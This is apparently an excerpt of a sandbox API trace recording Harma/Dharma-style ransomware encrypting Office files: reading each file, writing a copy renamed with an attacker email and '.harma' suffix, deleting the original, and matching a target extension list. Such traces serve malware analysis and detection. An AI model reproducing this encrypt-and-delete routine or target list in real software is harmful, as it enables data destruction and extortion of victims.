GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=113) returned 1 [0151.766] CloseHandle (hObject=0x20c) returned 1 [0151.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) returned 0x20 [0151.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.767] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.767] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.774] GetLastError () returned 0x0 [0151.774] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x71, lpOverlapped=0x0) returned 1 [0151.775] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0151.776] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0151.776] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfa, lpOverlapped=0x0) returned 1 [0151.776] SetEndOfFile (hFile=0x370) returned 1 [0151.776] CloseHandle (hObject=0x370) returned 1 [0151.776] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0151.776] SetEndOfFile (hFile=0x20c) returned 1 [0151.778] CloseHandle (hObject=0x20c) returned 1 [0151.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) returned 1 [0151.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.780] lstrlenW (lpString=".doc") returned 4 [0151.780] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0151.780] lstrlenW (lpString=".docx") returned 5 [0151.780] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0151.780] lstrlenW (lpString=".pdf") returned 4 [0151.780] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0151.780] lstrlenW (lpString=".xls") returned 4 [0151.780] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0151.780] lstrlenW (lpString=".xlsx") returned 5 [0151.780] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0151.780] lstrlenW (lpString=".ppt") returned 4 [0151.780] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0151.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.780] lstrlenW (lpString=".zip") returned 4 [0151.780] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0151.780] lstrlenW (lpString=".rar") returned 4 [0151.780] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0151.780] lstrlenW (lpString=".bz2") returned 4 [0151.780] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0151.780] lstrlenW (lpString=".7z") returned 3 [0151.780] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0151.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.780] lstrlenW (lpString=".dbf") returned 4 [0151.780] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0151.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.780] lstrlenW (lpString=".1cd") returned 4 [0151.780] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0151.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.780] lstrlenW (lpString=".jpg") returned 4 [0151.780] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0151.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.781] lstrlenW (lpString=".doc") returned 4 [0151.781] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0151.781] lstrlenW (lpString=".docx") returned 5 [0151.781] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0151.781] lstrlenW (lpString=".pdf") returned 4 [0151.781] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0151.781] lstrlenW (lpString=".xls") returned 4 [0151.781] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0151.781] lstrlenW (lpString=".xlsx") returned 5 [0151.781] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0151.781] lstrlenW (lpString=".ppt") returned 4 [0151.781] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0151.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.781] lstrlenW (lpString=".zip") returned 4 [0151.781] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0151.781] lstrlenW (lpString=".rar") returned 4 [0151.781] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0151.781] lstrlenW (lpString=".bz2") returned 4 [0151.781] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0151.781] lstrlenW (lpString=".7z") returned 3 [0151.781] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0151.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.781] lstrlenW (lpString=".dbf") returned 4 [0151.781] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0151.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.781] lstrlenW (lpString=".1cd") returned 4 [0151.781] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0151.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned 67 [0151.782] lstrlenW (lpString=".jpg") returned 4 [0151.782] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0151.782] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0151.782] lstrlenW (lpString="EXCEL.HXS") returned 9 [0151.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.785] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=7827686) returned 1 [0151.785] CloseHandle (hObject=0x20c) returned 1 [0151.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs")) returned 0x20 [0151.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0151.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0151.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0151.785] lstrlenW (lpString=".doc") returned 4 [0151.785] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0151.785] lstrlenW (lpString=".docx") returned 5 [0151.785] lstrcmpiW (lpString1=".docx", lpString2="L.HXS") returned -1 [0151.785] lstrlenW (lpString=".pdf") returned 4 [0151.785] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0151.785] lstrlenW (lpString=".xls") returned 4 [0151.786] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0151.786] lstrlenW (lpString=".xlsx") returned 5 [0151.786] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXS") returned -1 [0151.786] lstrlenW (lpString=".ppt") returned 4 [0151.786] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0151.786] lstrlenW (lpString=".zip") returned 4 [0151.786] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0151.786] lstrlenW (lpString=".rar") returned 4 [0151.786] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0151.786] lstrlenW (lpString=".bz2") returned 4 [0151.786] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0151.786] lstrlenW (lpString=".7z") returned 3 [0151.786] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0151.786] lstrlenW (lpString=".dbf") returned 4 [0151.786] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0151.786] lstrlenW (lpString=".1cd") returned 4 [0151.786] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0151.786] lstrlenW (lpString=".jpg") returned 4 [0151.786] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0151.786] lstrlenW (lpString=".doc") returned 4 [0151.786] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0151.786] lstrlenW (lpString=".docx") returned 5 [0151.786] lstrcmpiW (lpString1=".docx", lpString2="L.HXS") returned -1 [0151.787] lstrlenW (lpString=".pdf") returned 4 [0151.787] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0151.787] lstrlenW (lpString=".xls") returned 4 [0151.787] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0151.787] lstrlenW (lpString=".xlsx") returned 5 [0151.787] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXS") returned -1 [0152.127] lstrlenW (lpString=".ppt") returned 4 [0152.127] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0152.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0152.127] lstrlenW (lpString=".zip") returned 4 [0152.127] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0152.127] lstrlenW (lpString=".rar") returned 4 [0152.127] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0152.127] lstrlenW (lpString=".bz2") returned 4 [0152.127] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0152.127] lstrlenW (lpString=".7z") returned 3 [0152.127] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0152.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0152.127] lstrlenW (lpString=".dbf") returned 4 [0152.128] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0152.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0152.128] lstrlenW (lpString=".1cd") returned 4 [0152.128] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0152.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57 [0152.128] lstrlenW (lpString=".jpg") returned 4 [0152.128] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0152.128] lstrcmpiW (lpString1=".GRA", lpString2=".harma") returned -1 [0152.128] lstrlenW (lpString="GR8GALRY.GRA") returned 12 [0152.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0152.299] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=186880) returned 1 [0152.299] CloseHandle (hObject=0x330) returned 1 [0152.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra")) returned 0x20 [0152.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0152.346] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.346] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.347] GetLastError () returned 0x0 [0152.347] ReadFile (in: hFile=0x330, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x2da00, lpOverlapped=0x0) returned 1 [0152.355] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2da10, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x2da10, lpOverlapped=0x0) returned 1 [0152.360] ReadFile (in: hFile=0x330, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0152.360] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.360] SetEndOfFile (hFile=0x350) returned 1 [0152.360] CloseHandle (hObject=0x350) returned 1 [0152.360] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.360] SetEndOfFile (hFile=0x330) returned 1 [0152.366] CloseHandle (hObject=0x330) returned 1 [0152.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra")) returned 1 [0152.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.370] lstrlenW (lpString=".doc") returned 4 [0152.370] lstrcmpiW (lpString1=".doc", lpString2=".GRA") returned -1 [0152.370] lstrlenW (lpString=".docx") returned 5 [0152.370] lstrcmpiW (lpString1=".docx", lpString2="Y.GRA") returned -1 [0152.370] lstrlenW (lpString=".pdf") returned 4 [0152.370] lstrcmpiW (lpString1=".pdf", lpString2=".GRA") returned 1 [0152.370] lstrlenW (lpString=".xls") returned 4 [0152.370] lstrcmpiW (lpString1=".xls", lpString2=".GRA") returned 1 [0152.370] lstrlenW (lpString=".xlsx") returned 5 [0152.370] lstrcmpiW (lpString1=".xlsx", lpString2="Y.GRA") returned -1 [0152.370] lstrlenW (lpString=".ppt") returned 4 [0152.370] lstrcmpiW (lpString1=".ppt", lpString2=".GRA") returned 1 [0152.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.370] lstrlenW (lpString=".zip") returned 4 [0152.370] lstrcmpiW (lpString1=".zip", lpString2=".GRA") returned 1 [0152.370] lstrlenW (lpString=".rar") returned 4 [0152.371] lstrcmpiW (lpString1=".rar", lpString2=".GRA") returned 1 [0152.371] lstrlenW (lpString=".bz2") returned 4 [0152.371] lstrcmpiW (lpString1=".bz2", lpString2=".GRA") returned -1 [0152.371] lstrlenW (lpString=".7z") returned 3 [0152.371] lstrcmpiW (lpString1=".7z", lpString2="GRA") returned -1 [0152.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.371] lstrlenW (lpString=".dbf") returned 4 [0152.371] lstrcmpiW (lpString1=".dbf", lpString2=".GRA") returned -1 [0152.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.371] lstrlenW (lpString=".1cd") returned 4 [0152.371] lstrcmpiW (lpString1=".1cd", lpString2=".GRA") returned -1 [0152.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.371] lstrlenW (lpString=".jpg") returned 4 [0152.371] lstrcmpiW (lpString1=".jpg", lpString2=".GRA") returned 1 [0152.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.371] lstrlenW (lpString=".doc") returned 4 [0152.371] lstrcmpiW (lpString1=".doc", lpString2=".GRA") returned -1 [0152.371] lstrlenW (lpString=".docx") returned 5 [0152.371] lstrcmpiW (lpString1=".docx", lpString2="Y.GRA") returned -1 [0152.371] lstrlenW (lpString=".pdf") returned 4 [0152.371] lstrcmpiW (lpString1=".pdf", lpString2=".GRA") returned 1 [0152.371] lstrlenW (lpString=".xls") returned 4 [0152.372] lstrcmpiW (lpString1=".xls", lpString2=".GRA") returned 1 [0152.372] lstrlenW (lpString=".xlsx") returned 5 [0152.372] lstrcmpiW (lpString1=".xlsx", lpString2="Y.GRA") returned -1 [0152.372] lstrlenW (lpString=".ppt") returned 4 [0152.372] lstrcmpiW (lpString1=".ppt", lpString2=".GRA") returned 1 [0152.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.372] lstrlenW (lpString=".zip") returned 4 [0152.372] lstrcmpiW (lpString1=".zip", lpString2=".GRA") returned 1 [0152.372] lstrlenW (lpString=".rar") returned 4 [0152.372] lstrcmpiW (lpString1=".rar", lpString2=".GRA") returned 1 [0152.372] lstrlenW (lpString=".bz2") returned 4 [0152.372] lstrcmpiW (lpString1=".bz2", lpString2=".GRA") returned -1 [0152.372] lstrlenW (lpString=".7z") returned 3 [0152.372] lstrcmpiW (lpString1=".7z", lpString2="GRA") returned -1 [0152.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.372] lstrlenW (lpString=".dbf") returned 4 [0152.372] lstrcmpiW (lpString1=".dbf", lpString2=".GRA") returned -1 [0152.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.372] lstrlenW (lpString=".1cd") returned 4 [0152.372] lstrcmpiW (lpString1=".1cd", lpString2=".GRA") returned -1 [0152.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60 [0152.372] lstrlenW (lpString=".jpg") returned 4 [0152.372] lstrcmpiW (lpString1=".jpg", lpString2=".GRA") returned 1 [0152.373] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0152.373] lstrlenW (lpString="GRAPH_COL.HXC") returned 13 [0152.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0152.375] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=621) returned 1 [0152.375] CloseHandle (hObject=0x330) returned 1 [0152.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc")) returned 0x20 [0152.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0152.376] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.376] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.377] GetLastError () returned 0x0 [0152.377] ReadFile (in: hFile=0x330, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x26d, lpOverlapped=0x0) returned 1 [0152.726] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x270, lpOverlapped=0x0) returned 1 [0152.727] ReadFile (in: hFile=0x330, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0152.728] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0152.728] SetEndOfFile (hFile=0x350) returned 1 [0152.728] CloseHandle (hObject=0x350) returned 1 [0152.728] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0152.728] SetEndOfFile (hFile=0x330) returned 1 [0152.731] CloseHandle (hObject=0x330) returned 1 [0152.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc")) returned 1 [0152.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 